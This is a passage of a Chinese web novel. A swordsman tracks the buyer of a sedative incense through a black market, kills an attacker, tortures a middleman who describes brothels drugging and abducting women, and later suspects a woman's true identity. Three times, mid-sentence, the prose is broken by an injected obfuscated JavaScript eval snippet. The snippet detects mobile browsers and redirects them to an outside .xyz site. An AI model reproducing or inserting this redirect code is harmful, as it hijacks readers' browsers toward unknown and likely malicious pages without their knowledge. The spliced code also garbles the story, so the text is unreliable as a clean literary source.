关阇彦仔细听着,一边沉思还一边阳奉阴违:“哎,是啊是啊。” 好不容易纠纠缠缠才绕出了一条路子,他们二人拐入其他乡间巷口的时候路过了诸多景象,关阇彦这才发现,在这里驻扎一生的,可远远不止老人,小孩、年轻男人、女人……竟是都有的。他们如同行尸走肉,逮着个人就要像是围城一样涌上来,吊着个死气沉沉、翻得差不多都是眼白的眼睛,手舞足蹈不已。他都不知道该不该用一句不道德的“精彩纷呈”来形容。 董五郎嚷嚷起来:“会做香的老戎商不多,各路董郎跟戎商都从那里拿货,倒不如直接去那儿找得了。” 关阇彦自是乐意。 步入一处方正的烂草棚子,丛丛异象频生,八爪着地的黑色大蜘蛛在他们脚底处逃生般四处乱爬乱窜,稍微走几步,在脏乱环境里筑巢的蛇虫鸟兽都要大惊失色地出来探看一番,先是蜘蛛,后是不知多少只脚的大蜈蚣,再后面又是长着双头的顶着猩红血眼的毒蛇…… 一股曼妙的异香自深处传出来,老妪佝偻着身子,漫无目的地握着只筛子盘腿在地上,看着面前一溜又一溜的蚂蚁从她身前走过。她身前种了一群模样怪异的花,花圃被栅栏围着,挡着了去路。 董五郎浑不客气,要抬腿去踢碎挡住路的栅栏,嘴里嚷嚷着:“老婆娘!上次就说没货,不知道今儿有没有啊!” 董五郎骂骂咧咧地站在前头,自以为是地将一把匕首藏在手掌里头,妄图向后刺死关阇彦。 但他的小把戏早被关阇彦看透,而他本人却丝毫没有注意到背后逼人的剑气。关阇彦早有准备,长剑遮掩在宽大的袖里头,他脱了剑鞘,往那男人的要害抄去。 壮大的男人“噗通”一声倒地,满口鲜血,望着他寄予厚望的“财路”,死不瞑目。 董五郎先是听到“分利一半”,心痒痒才把他带上路的。结果走着走着,人心就止不住了,越来越贪,一半哪里够?他何不杀了人,抢了腰牌自己当上董十郎——洞市的董郎不靠脸认人,皆靠商单的买卖记录认人,只要把别人的腰牌夺走,那人不再是董郎,交易定是非他莫属。 关阇彦早就受够他了,对此全不在意,猛然一踢腿,尸体便滚得远远的。 他冷哼一声:“贪成这样,当真是不见棺材不落泪。” 那深藏在棚里头的老妪听到动静,吓得“啊呜啊呜”叫了几声,可惜她老得离谱,一口的牙掉得干干净净,那恐慌的嚎叫听起来倒像是那路野风钻着门缝的“呼呼”声。 关阇彦一个跃身,踩着传着异香的花圃,三两步就跳到了老妪的眼前。 老妪甚至都没来得及眨眼,就抓耳挠腮哭起来:“我的花!我的花!我的花啊!呜呜呜啊啊啊啊!” 关阇彦只觉得躁耳,时间又紧,他哪有功夫在这里跟此人纠缠?他果断把寒气逼人的冷剑悬到了老妪的脖子上:“最近把龙骨香买断货的人是何人?” 老妪听他言辞犀利,下意识哀嚎:“你是官府的!朝廷的人?!” 估计是被陶司直的壮举吓出了阴影。不过也正是因为陶司直,他才知道洞市里的人做生意都会留一本黑账簿,里头会一一记载对应不同商单的卖家跟中间人董郎,唯有真正的买家不留姓名。 他看到老妪恐慌至极,索性将计就计:“知道就好。待会配合我抓人,听到没有!” 老妪期期艾艾:“是……是是,大人。” 关阇彦管此老妪要来了近半年来交易的黑账簿,果不其然,在上头找到了董十郎购入龙骨香的记录——“晋元六十一年,槐夏四月十六日,买家董十郎,卖家戎香嬷嬷,交易十屉龙骨香,定金八匹披浪云锦、八匹悬金丝锦缎、镶红金蟾、鸣玉翡翠璎珞、南海镶珠飞铜胎香粉盒、上等灵露松脂……以此买断所有龙骨香近五十年,洞市五十年内不可再制此香。” 定金后跟着的宝贝数不胜数,莫说是五十年,买断再名贵的香料一百年都绰绰有余了。令人还感到奇怪的是,这些宝贝皆是些贵女才会用得上的闺阁用品,金钗银篦、香粉胭脂等等叫人目不暇接。 他第一是先怀疑,买下龙骨香的幕后人应当是个家底很充足的贵女。 第二怀疑的是,一屉龙骨香少则能装够二十来瓶香瓶,此香又不能保存太久时间,买家买下如此庞大的数量不可能是都为己所用,更多的是为了直接切断任何人追溯他的机会。 要不然他何必多此一举,逼着老妪五十年内不可再制此异香? 五十年……呵呵,这老得不能再老的老太婆早就入土为安了。异香不再,五十年内无人传承,这是要龙骨香彻底灭绝了。 这买手倒是警惕,且不论有没有能发现洞市,便是发现了也难以找到这些线索。可惜,他想不到自己早就遣走的刘春盛还是被人找到了,龙骨香的遗骸也没逃得过搜查。这世上怎么可能会有不透风的墙呢? 关阇彦攥着老妪不放,先问她:“龙骨香出自你手,可知买走的人都用来做什么?” 老妪的眼浑浊不已,此时已经被同样浑浊的泪汤浸满了,看起来甚是可怜,若不是章念早已提醒洞市疯子的秉性,再雷厉风行的人见了,估计都会骗得底裤不剩。 老妪颤颤栗栗:“我只会做香,不管这些!你得去问董十郎才行!” 他又换了个问题:“这些定金为何都是些女人喜好用的东西,里头的松脂又在何处?” 老妪痛哭:“大人,董郎都是八分利,我一个老婆子就只留了些实用的银子,其余的可都在董十郎那头了!” 看来这董十郎是非抓来不可了。 关阇彦暗忖起来:“十日之期方至,所有在外的董郎都会回到洞市,在这种时候要把他招回来的并不费事,只需要这老妪扬言打破买约,继续制香卖香,必会引来此人。” 他扬了只得意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447454|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容,用力拿剑往老妪的脖子处又抵了抵,威胁起来:“放出消息,就说你要继续卖香,把洞市所有的董郎都给引过来,半个时辰内找不着十郎,你就该想想要求我用那种方式把你解决了。” 老妪和那群疯子一样,眼中全无生死,只有生意,她畏惧道:“不啊!大人我还不能死!我的货还没卖完,我还要做生意呢!” 总之这些对话格外诡异,对关阇彦来说好似一种精神骚扰,再多待一刻,怕也要给一起逼疯了。 老妪拗不过他,自是乖乖重新摆摊,呆木的神情在一接触到行当的时候顷刻鲜活了起来,哪里像最开始那个闲得只好看蚂蚁的活死人?老妪的龙骨香声名在外,她方一吆喝几声,董郎们闻讯赶来,咋咋呼呼着先要那老妪快拿出黑账簿,他要记下这次得定多少的龙骨香。十几个人簇拥着老妪,脾气暴躁,对老妪颇为不满,但秉承着不会自断财路的信念,他们都还算规矩,听着老妪安排事情。 一个高个子的年轻汉子马不停蹄地赶过来,活似不要命,他提着两把大刀,把这群围着老妪转圈的董郎赶出一丈距离。老妪一见他的半边影子就知道他的身份了,她默默往暗处递了只小心翼翼的眼神,关阇彦得令,颔首表示静观其变。 果不其然,那位董十郎致力于护财,疯牛一样乱撞,终是把人都赶跑了。好不容易热闹一番的破地方又死寂下来。 董十郎喘着气,挥舞大臂要去掐老妪,质问:“她奶奶的,你这臭老婆子够厉害的!五十年不准做龙骨香!否则定金得如数收走!老子跟你说得很清楚,你他妈的不要命了是吧?!” 老妪只觉得生不如死,那董十郎还没来得及手上使劲,后膀上就被一个内力极其深厚的手掌捱住了,他膀子上的肉不少,结果怎么用力都扭不开那劲儿。他竭力扭头看,结果后面根本就没有人,他臂膀上的疼痛和压力都拜关阇彦的点穴所赐。 关阇彦撩撩微乱的剑袖,寻思着那染上了龙骨香的麻绳已经没了用处,便直接用其把那汉子的双臂绕来绕去,扭成麻花后,再拿麻绳的末端为其固定。一波操作下来,汉子疼得嗷嗷叫,但周遭的人都被他给赶跑了,此地空无一人,对他的呼救不闻不问。 “董十郎,”关阇彦抬手,用力掰扯了汉子的下巴,直接令其脱臼了,汉子说不出话终于安静了,但他痛苦的神色也表明,脱臼的滋味不好受。 关阇彦沉静的声线带着森然寒气:“托你买断所有龙骨香的买家是何人?” 董十郎瞳孔顿缩,关阇彦这个活阎王直接又把他往左脱臼的下巴挪位了回来。他弯弯眉眼,冷俊的面容竟突然看起蓝有点和蔼:“说不说?” 董十郎还没组织好语言,就立马又被关阇彦抓着下巴往右边脱位,又脱臼了! 痛得他简直要原地飞升,董十郎本能性地流了两行眼泪。 关阇彦毫不留情又给他把下巴治好回来,好整以暇,拖着下巴看着他,玩弄性质之恶劣,令人发指:“喂,问你话呢?” 眼见关阇彦还要跟玩玩具似的继续向左向右摆弄他的下巴时,董十郎一个人高马大的家伙登时跪地求饶:“大哥大哥!我说!你问什么我都说!但我从未见过那买手的面貌啊,那人也爱伪装!我也没有资格问清楚他的名字啊!大人你别为难我了!” “简单,我问什么你答什么便是。”关阇彦很是冷静,眼皮上披着寒气,好似要结霜。 “是男人是女人?” “男人!” 关阇彦顿住了,他本以为买手应该是个贵妇级别的人物,难不成是什么给贵人打下手的人么? “身量?” “额……瘦的……个子好像也……这个我不清楚啊大人,那人很奇怪,喜欢簪花,满头的花,密密麻麻、像个小山,顶得高高的,上头还带着个最中间掏了只洞的帘帽,半边花丛跟他的身子一起被遮着,又有半边花丛露出去,看不清啊!” 怎么又扯上什么花了,关阇彦对此不感兴趣,还以为此人是在拖延时间、乱答问题。 他神色严肃几分,语气更是薄凉了,甫一开腔,那董十郎就被吓得更加伏低了身形:“最后一个问题,若是再囫囵应对,小心剑下无情。” 真正的董十郎伏低做小,为了保命抛弃了一切尊严,谨慎地记下接下来关阇彦说得每一个字、每一句话。 这个问题,关阇彦已经问过以一次老妪,只可惜那老妪答不上来,徒增了悬念:“洞市外的人买下龙骨香此等禁品都是用来做什么的?” 112. 阿拉怪翁 董十郎已成了被训话的狗,一听这问题他懂得很,喜不自禁,简直要高兴地痛哭流涕,不知道的还以为关阇彦大发慈悲放过了他呢。 他卑微献计:“大人!这我知道!这我知道!龙骨香迷香甚浓,但不至于害命,顶多能让人神志不清一晚上,而且被施了迷香的人无知无感,除非剂量下得太多,不出两个时辰气味就能散得差不多,留下来的余香别人也只以为是普通的花草凝露之气!所以,这种东西一半都是男人家的买过去迷女人玩女人用的!的确上不来台面!” “大人!说到此处,我还能有个大秘密告诉你呢!大人是不是想知道那买香人的身份?!” 这董十郎一口一个“大人”叫得顺溜,那动作跟语气谄媚不已,便是不看他那铁面具下的表情,都能料想他现在的嘴角至少能咧到耳根子。真是给他一张烂纸,他都能当作帕子殷殷切切地给人擦起靴子,活似一个手艺精湛老练的……太监。 眼看这狗趴似的东西要伸手过来抱住人的大腿继续谄媚,关阇彦像是浑身上下都被恶心了一番似的,他作势要抬脚踩他的手。 那董十郎才悻悻然收手,模样老实了起来:“那买香人一下子就托我把整个洞市所有的龙骨香都买走,制香嬷嬷这儿十屉的货也被我拉走了,报酬甚丰,皆是上等宝贝!” 他小心翼翼地从怀里捧出一只金钗子来,拿给关阇彦过目:“诸如此类的金钗就有几十只!寻常男人有没有这等财力不论,就是有的也不可能拿这些女人的宝贝来做交易,男人好面子,真金实银就是面子!” “所以呢?”关阇彦挤眉,知道这狗腿子在吊胃口。 “说句不好听的,当今京城里上得来台面的花楼,有几个手段清明的?多少年前,小的就见过那些花楼的老板为图方便托人来洞市买隐蔽的龙骨香,为的就是迷晕那些良家女子,家境穷苦的无所谓,家境富裕的有些风险,但人没了被玷污了就成了屁,家里人寻不到更不想寻!多少富贵公子哥儿口味那叫一个刁钻,老鸨跟老板老老实实买进来的丫鬟啊姑娘啊绝色啊都不要,就好点儿清白稚嫩的口味,甚至更畜生的啊,专挑年纪小的……甚至男女通吃呢!欸嘿嘿……我那位买主啊,买了这么多,用的还都是些女人家用的东西换的,准是哪家大花楼里的老板,带着楼里头骗客人骗来的花饷,看上了那些良家姑娘后,准备一并迷晕了充作妓女呢!” 董十郎跟说相声似的,一口气将事情交代清楚,唯恐又冲撞了面前的大爷。 当他以为自己立了大功、要喜滋滋时,却不想关阇彦双拳紧握、青筋暴起,毫不客气往他身上踹了一脚,大骂:“畜生!” 逼良为娼这种恶事本以为早已从世间消失,却没想到,在京城这等遍地是金的贵地,也是频频发生的事。 关阇彦为人向来刚直,又嫉恶如仇,见不惯这种逼迫温良百姓的事发生。结果这董十郎用奸商的丑恶嘴脸,□□着说出这些荒唐悲惨的故事,像极了在讲什么人尽皆知的笑话。令人连连作呕。 他不踹他,踹谁?! 董十郎被踢得白眼猛翻,不知道发生什么情况,又眼看那熟悉的靴底又要踩上来,踩过来的地方居然还是脸! 他吓得魂飞魄散,眼神飘忽间,又瞧见了关阇彦背在□□的包袱,包袱随着主人的动作起起伏伏,散落了一些花瓣出来——阳春菊。 那金黄色芯子、边缘镀着暮色的花瓣似乎带着诡异的灵性,偏偏要掉下一片,落在董十郎的前额。他豁然开朗,因为这让他想起了买家那个喜欢簪花的奇怪男人。 “大人大人!脚下留情!!脚下留情!!!” 他惊愕抱头,大叫一声,企图借此自保:“是阳春菊!阳春菊啊!买家就喜欢簪这花,特别喜欢!一簇里头,十支花有六七支是它,黄澄澄的,贼显眼!” 又是阳春菊……微微惊错间,昏天倒地的迷惑之意自天洞倾泻而下,罩得关阇彦险些忘记了呼吸,觉得自己置身于一个未知的陷阱中,一时难以自拔。 董十郎哎哟哎哟地叫着,活似咂嘴的乌鸦,但可惜的是,关阇彦根本没有心思在意他的死活。 此时一个呜啊呜啊的动静自远处的阡陌之地幽幽传来,像一个老男人的声线,但怎么听都不像是在说人话,常人料想,就是把一个老翁的牙全部拔光了,都发不出这等阴气森森的动静了。 关阇彦懒懒抬眼,结果似乎大失所望,因为来物不是什么非人的怪物,那的确是一个伛偻?的身影——偻到恨不得整个背脊都完全对折下去,对比下来,制香的戎嬷嬷那等老迈扭曲的身材已经不算是什么了。 老翁一颠一颠地在铺着夜色乡间疯跑着,他瘦削无比,跑起来东倒西歪,一会儿没影又一会儿以一种扩大了身形的方式闪现到近处,宛如风中残烛,摇曳殆尽又愕然复苏。 那老翁手里抓这个物事,物事上绑着飘带,一圈又一圈,红的绿的蓝的黑的缠绕在一起,尾巴偏偏荡在身后,老翁嘻嘻哈哈,歪着脑袋大喊:“阿拉莫拉!阿拉莫拉哦!莫拉那萨拉!啊啊啊!哈哈啊哈!” 他边叫边笑,最里面嘟囔的好似不是常见的语言,那语言充满着野性……和一种难以言喻的邪恶的神性。 老翁身后追着三俩个身上挂着摊子布面的孩童,孩童们倒是讲的中原话:“阿拉翁!你别跑了!跑没了就找不到了!快回来啊阿拉翁!!!” 关阇彦蹙眉看着老翁,总感觉他身上有着南禺邪术的影子,他的语言……所带之意,竟然与陆子礼和盘龙山所带的离奇氛围分外融洽。 董十郎也听到了“阿拉翁”的声音,多嘴一句:“害!这疯老头又出来闹了!没完没了!” 关阇彦刚寻思着问完话就放了他,结果他偏偏要多管闲事,既然他认识这怪老头,不如就近问他算了。 他踩紧了紧脚步,毫不客气道:“喂,那阿拉翁是什么人?” 董十郎怕得要死,乖乖回答:“听说是二三十年前的南禺难民,受了刺激,精神有问题!也不会讲人话,天天只会嘟囔阿拉阿拉嘛嘛的,吃饭都不晓得吃,瘦得一把干柴骨头似的,也只会天天拉撒,人称阿拉翁。阿拉翁的丫头前几年死了,现在跟在他屁股后面的是孙子,还有一些跟他孙子玩得好的孩子,每天都得看着阿拉翁,不然一眨眼人就能跑没了。这不,又跑出来了吗!” 眼看那阿拉翁一脸白胡子,厚厚的白须遮着眼睛,越跑越欢快,朝着的正是关阇彦这个方向。关阇彦也总觉得那双分明看不出眼神的眸子,好像从一开始就在注视自己。 他的预料分毫不错。阿拉翁眼看跑到戎嬷嬷的花棚里,脚步竟停下来了,他很矮,头颅好似镶嵌在对折佝偻的背中央,他要看人必须极力仰望上天。 此时他正以这种令人匪夷所思的方式看向关阇彦。 关阇彦挑眉,旋即抬了腿放了董十郎,但又不准其逃走。 戎嬷嬷亦被押在这里,一个都别想跑,俩人面面相觑、泪眼汪汪。 那老翁左歪歪脑袋,右歪歪脑袋,端摩了关阇彦好一阵,突然张开双臂,抱住了他的大腿。跟在他后头的三俩个小屁孩终于追了上来,见到阿拉翁抱住个身材高大、一看就不好惹的“董郎”,吓得合不拢嘴,忙要去掰扯阿拉翁:“阿拉翁你干什么呢!不要得罪了董郎大人,以后我们还要卖货呢!” “是呀是呀,得卖东西,得靠董郎大人吃饭的!” 小小年纪,思想已遭荼毒,根深蒂固至此,当真是无药可救。 阿拉翁哈哈大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447455|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑起来,突然叫道:“嘿!你也是南禺的人!” 他没再说那稀奇古怪的语言,居然极其流利地说了一句如今风靡各地的中原官话,不过调子却是一样的怪异,难以改变。 他这一叫,关阇彦一下就来了兴趣。而包括孩子们、戎嬷嬷和董十郎在内的所有人都惊呆了。 这老东西不是每天只会阿拉阿拉的吗?他何时学会正常讲话了!稀奇!稀奇! 关阇彦给那三个拉拉扯扯阿拉翁的小屁孩一人赏了个爆栗,耍起官腔:“你们几个赶紧回家去,之后再来找你家阿拉翁!要不然我以后可不接你们的生意了!” 知道他身份的嬷嬷和董十郎有苦难言:“……” 小孩儿一哄而散,谁都不记得阿拉翁了,真是利益至极。 阿拉翁还抱着他的大腿不放,重复着:“你是南禺的人!” 关阇彦弯身,注视着此翁藏在白花花头发下的浑浊而空洞的眼睛,的确是疯傻之人,但他还是耐心问道:“何出此言,我明明是这里的董郎,不是什么南禺人。” 那老头好似真的听懂他的话了,他僵住了,脸色也僵白了,好似成了个泥雕人,忽然,他嘴角外咧,他的肌肉延展性比正常人大太多,以至于那笑容竟是歪斜到了耳根子都是轻而易举的事。 他笑了,阴惨惨的,声音嘶哑低沉,活似被什么恶鬼夺舍了:“你是……你是……你的脸被人用过了,我看出来了!” 关阇彦背后一凛,他面上被面具捂得严严实实,这老头说这话不会是空穴来风吧! 他凑近老翁,道:“那高人,你还看出了什么?” “你去过南禺,你身上有被秘术诅咒的痕迹……你有,咯咯咯……” “你身上的气味……很浓,有死人的气息,有鬼血的气息……有洞壁上……南禺古文的气息……那些文字我还记得呢!” “你看得懂南禺的古话?你知道那些话如何念?” “知道知道……咯咯咯,我念给你听!” 他絮絮叨叨起来,就此再没有停下:“阿拉莫拉!阿拉莫拉哦!莫拉那萨拉!啊啊啊!阿拉莫拉撒阿拉斯莫啊!哈哈哈哈!” 关阇彦的神经越来越紧张,想起董十郎的介绍,此翁是二三十年前南禺的难民……又懂得南禺古话,莫非是当年被赶尽杀绝后遗留下来的信徒?!不然他是怎么知道“洞壁”的!这阿拉翁跟陆子礼是一类人!都是秘术余孽! 关阇彦一阵兴奋,因为,陆子礼留下来的换脸秘术还未破解,他苦于寻不到能读懂南禺古文的人,这便将那事搁置了……没想到,洞市之中竟还藏了个这么大的宝贝给他。 这阿拉翁疯了又如何,兴许是被那秘术折磨得疯了罢了。 可惜,他身上并没有讲陆子礼的遗物带上,洞市仅仅开放这一晚,他得赶紧回京重返此地! 关阇彦急忙要走,可又放心不下好不容易遇上的线索,便唤狗似的将董十郎跟嬷嬷唤来,管嬷嬷要来俩只装香的瓶子,信手从包袱里头掏出水袋,将瓶子满上,自称这一瓶毒散和一瓶解药,毒散叫他们服下,解药则被自己带在身边。他叫他们守在花棚里,把阿拉翁看紧了,顺便……这倒是有些难以启齿了。 他还是放不下曾经在一群黑衣人身上看到了的天仙花印记,光是靠陆子礼是不能下定论的,不如趁机会也看一看这老翁身上有没有那种东西。 若是没有,他可要怀疑怀疑,二十多年前挑起南禺邪术使其泛滥的人,跟如今只手遮天的“通仙大人”到底是不是同一个人了。 所以他叫眼前这俩倒霉蛋,给这脏得像是数年来都未沐浴过的老头搓搓干净,找出身上所有的可疑胎记,害得二人齐齐以为这位京城来的大人是不是有什么怪癖。 113. 三顾茅庐 关阇彦策马而归,他熟悉了路段,回去的路上无惊无险,十分迅速。距离他离开京城大概过去了两个时辰,现在应是亥时与子时的交界点。 如今,外面天色依旧,是一般的乌漆嘛黑。他遥望过去,皇城的灯火灭了个干干净净,唯有瓮城高出两只威武雄壮的狮头还刁着两颗红灯珠,在万山千湖间,明明灭灭。 他已是越来越熟悉半夜浑水进出城的路数了,城外值班屋内鼾声动地,他如风一般窜入京城,骏马灵性十足,无声奔驰,不消一会儿,他便看到了关门闭户的杜宅大门。 他寻思着杜明堂跟杜宅夫妇皆离了府,至少白日才归,无人为他放风,他是不便进入的。 等等,屋内不还是有个冯迎春吗?! 他笑了笑,似是戏谑,又似是小孩做坏事前不安好心时幼稚的玩弄笑容。他勒好马匹,几步一走便绕到了偏院,轻松越墙而过,穿过一条花墙,看到了魏郁春的屋子。 他没有再进一步靠近,只是站在院外的洞门前静候。他敢信,这女人肯定还没睡,没有理由,而是直觉! 他两手并拢,宛如壶状,凑到嘴边,轻松唤出几声夜鸟鸣啼的声音。 “咕咕——咕咕——”几声下来,屋内无人应答更是毫无反应。 看着毫无灯色的屋子,关阇彦知道着急了。 难道她真的睡着了? 他脚步踟蹰了,一时不知是进去还是不进去,女孩子家家的睡觉呢,他一个大男人就这么跨足进去,那岂不是登徒浪子!可他时间捉紧,来不及考虑太多。万般纠缠下,他竟觉得这个问题办起来比洞市的事还要棘手。 一阵脚步声,缓缓悠悠从背后转来,魏郁春提着一盏小灯,一身睡裙慵懒地挂在身上,浑身白色,连脸色都是苍白的。关阇彦听见脚步转身过来,差点吓得心都要跳出来。 “你没睡?” 魏郁春似乎没有精神,眼皮耷拉着,细看才知道她的眸子通红,与绝对苍白的脸形成了太鲜明的对比。 她哭了? 关阇彦胆战心惊,因为他还没见过她在除了小命不保的情况下哭过。 难道关昀洲的眼线盯过来了?有人害了她? 他旋即问她:“出什么事了?有危险之人潜入了宅子?” 魏郁春始终没有抬起眼,估计也是怕泪眼被人瞧见,手里端着的灯笼也被她默默放到身侧。可惜,她的动作还是慢了。关阇彦早已看穿了她。 他皱眉,到底是谁又惹她了? 他心里着急,又不好多问。 因为他想到此女记性过人,在南禺时就对破解古文一事有独特的能力,若是将她一起带去,以后任何破解古文的麻烦都能迎刃而解。 但……他想起不好的回忆。当时魏郁春死缠烂打要跟去洞市,他先是阴阳怪气,后是冷嘲热讽,还骂他为了攀附陶明案不择手段……真是得罪了个遍。现在要让她去,岂不是求她了?! 还有,此女性情不定,刚烈无比,最忌有人说她的短处,这会儿直接指出她哭鼻子,她怕是再也不可能依他了。 早说过了,跟魏郁春打交道恨不得要使上八辈子的心眼儿。 关阇彦捉急着,他又刚好站在洞门处,挡住了魏郁春回屋的路,两人无声立着,谁也不说话,魏郁春垂着眼,一副老僧入定的模样,分外疏离。她还真是一向如此。 他只能厚脸皮了:“冯迎春,这么晚了不睡觉,莫不是等我?” 最能让魏郁春有反应的多半就是他的厚脸皮,她动了动,匪夷所思:“不曾。” “你方才去了哪里?” 她迟疑了,攥住灯笼的手紧了紧,可惜她藏不住。关阇彦看到了她白皙皮肤上冒出来两三块被烧伤的地方。他眉心一跳,莫不是大晚上急着去玩火了? “肚子不舒服,起夜去了。” 如此直白,又是私人的事,关阇彦再继续问就不礼貌了。 他道:“我跟你道歉。” “白日里我的确不该那么说你跟陶明案。” “都督何时这么熟练此事了?你可不是爱与人掰扯道理、评理道歉的人。”魏郁春冷笑。 因为这种事情对她来说,真是太过熟悉。南禺的夜晚,他启开她的窗子,二人谈论。避暑宅的深夜,他也是踏着夜风,有些狼狈地过来要她帮忙,不过当时他傲气许多,还试图威胁她。算上今日,共有三次,脸皮极厚,毅力极佳,精神诚可贵,何尝不是一种三顾茅庐? 不过现在今非昔比了,他对求她这件事貌似也是轻车熟路了,开头就服软道歉,也是怪让人意外。 “你不是想去洞市吗?我带你去。” 魏郁春早已了然他的心思,不过没想到是关于洞市的。 “求我。”毕竟早先时候,她就想过,总有一天会让关阇彦求她回来。 “什么?”关阇彦就知道事情没那么简单。 “至少得有报酬不是吗?”魏郁春冷眸瞥到别处,甚是傲慢,“从前,是你总说我不知廉耻,如今又来玩这场勒马啃回头草的戏码,谁知道你安了什么心?” 关阇彦托腰仰头哈哈一笑,他揭下面具,凑近魏郁春,笑得颔首不已,好似半点没有被激怒到的样子,反而像是被一个好笑的笑话戏谑到了一番。 他半是调侃又半是欣赏地道:“冯姑娘本事厉害,关某不得不佩服。求你?那又何妨,重事在前,岂有瞻前顾后、婆婆妈妈的道理?关某佩服,求一次又何妨?” “如此反常,必有诡计。” 他明知道她也想去,却没有继续利用这一点挖苦她威逼她,反而大方承认了,怎么可能没有鬼? 关阇彦眸子很亮,俊逸的面庞在她手中微微亮光的灯笼的照耀下,流溢着翩洋激荡的儿郎之气,似金石不可镂之神物。他离她很近,疑似在以□□人,语气却又坦荡:“冯姑娘好说,毕竟也是帮忙,你不是怕之后会有人盯上你、伤害你么?” “你也不想走,”关阇彦笑得竟然有些明媚,“不如就一直留在我身边?洞市之事所系秘密诸多,你要去起码得保证秘密泄不出去,我也不是不信你,毕竟掌握了我秘密的人都恨不得赶紧杀了我,你也不想被牵连吧?以后我去哪里,你便去哪里,不愁我保护不了你。” 这正合魏郁春的意,她动了心思,缓缓抬眸看向了他。 又听他说道:“冯姑娘念家也无碍,芳樱楼案结束,我的身份恢复了,正大光明护你回南禺总比现在偷偷摸摸回去的要风光,对吗?” 对比他平时的模样,他这阴阳怪气说话的语气,让人挑不出错的同时,又叫人觉得他可真是贴心周道。 魏郁春犹豫住,可片刻后就颔首,敛衽颔首:“我回屋收拾衣裳,半刻钟就好。” “可以。” 关阇彦笑眯眯地望着她快步离去的背影,确认无误后,眸光猝然暗下,笑意更是消逝得一点不剩,两副面孔极其明显。他攥拳快步朝着反方向离去,往魏郁春来时可能过来的路上走。 魏郁春瞒着他什么,他必须搞清楚。要不然,他也不会主动要其留在身边。 他这样想着,本是胸有成竹,可当他真正看到一团散落在路径旁的枯草群中的灰烬后,他还是沉默了,差点缓不过脑子来。 寥落的角落里,灌木丛的背后,枯草杂乱,无人打理,那里落了一只突兀的烟坑,黑黢黢一片,融在夜幕之中。若非他有超绝的洞察力,和那坑里传来的烟熏味,定是无人能发现这里的。 他蹲到近处,拿手在那坑里摸索,边缘还有急急忙忙没有烧化掉的纸钱圈。他立马想起方才魏郁春出现时畏缩躲藏的模样,她手上的烧伤理应也是匆忙之下不小心弄到的。 他拾着那边缘焦黑化碳的半边纸圈,沉默却又骇然,她方才是在悼念亡魂……她到底会悼念谁? 她是冯迎春啊,她的父亲母亲……妹妹都还健康平安着,有何人值得她如此伤心欲绝?总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447456|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能说是那些冤死的南禺孩童吧。 到底是为何? 他又想起魏郁春突然反常的模样,自从她参加完春桃酒宴后,她便突然一改态度,对他跟陶明案的事情分外关注。他虽然嘴上说着她跟陶明案关系匪浅,可打心底,他是不信的,他不过是莫名气不过,想刺激一番她罢了。 如今见到这些,他不得不再次发问,冯迎春……真的只是冯迎春吗? 春桃酒宴的内情,杜明堂其实在走之前就命人塞到了他的屋内,他未来得及翻看,此时他抓紧脚步,回屋翻出陆子礼遗卷时,又赶忙把那只信封拆开,恨不得一目十行却又万分谨慎地看下去。 其中情节一波三折、抑扬顿挫,活似一本戏折子。其中说,魏澜清是如何丢人现眼,如何气急败坏,又如何受尽羞辱后甘拜下风的。其中说,“钱雀”是如何黑马当先,如何才气逼人,如何与魏澜清切磋得胜的,又如何被揭开面纱、身份暴露的…… 其中二人的对话生动无比,记录详细—— 魏澜清斥责:“你不是钱雀!你到底是谁?!” 她贼心不改:“你到底是谁?!你不是钱雀!你不是钱雀!你这个贱人是不是回来了?!” “钱雀”夺下诗魁时震撼芳席时的诗句是如此:“隆月冬庙缢芳魂,假色藏春无人问。天道又说好轮回,道是无情却有情。” ……种种下来,精彩纷呈,可关阇彦却一点都不想欢呼,他的心思越来越沉重,在被众人在乎的点子之外,有一个微不足道的细节被他捕捉到了。 魏郁春所扮演的“钱雀”,在一开始保守而战,可当众人道出魏澜清家中父亲的一位妾子死去的时候,“钱雀”就一改态度,咄咄逼人,偏要压下魏澜清一头。 原本不想夺走诗魁的人,这些事在阴差阳错间改变了她。 难怪当时他还奇怪,魏郁春这么个不争不抢、性子淡薄疏离的女子,怎么就夺下了诗魁呢。 魏郁春当时便是被那“妾子”的死讯刺激到了,酒宴后,她又迫切关注芳樱楼的案子,看似不知道她在在意什么,实际上,她恨魏氏,而芳樱楼与假的安南都督有关,若是案子办好,夫妻二人必是死到临头插翅难飞了。 她为什么要在意那妾子? 乃至于……关阇彦回神,握住纸的手竟有些颤抖,他返回故地,乱草丛中的烟坑依旧,那里承载着对亡魂无穷无尽的思念。 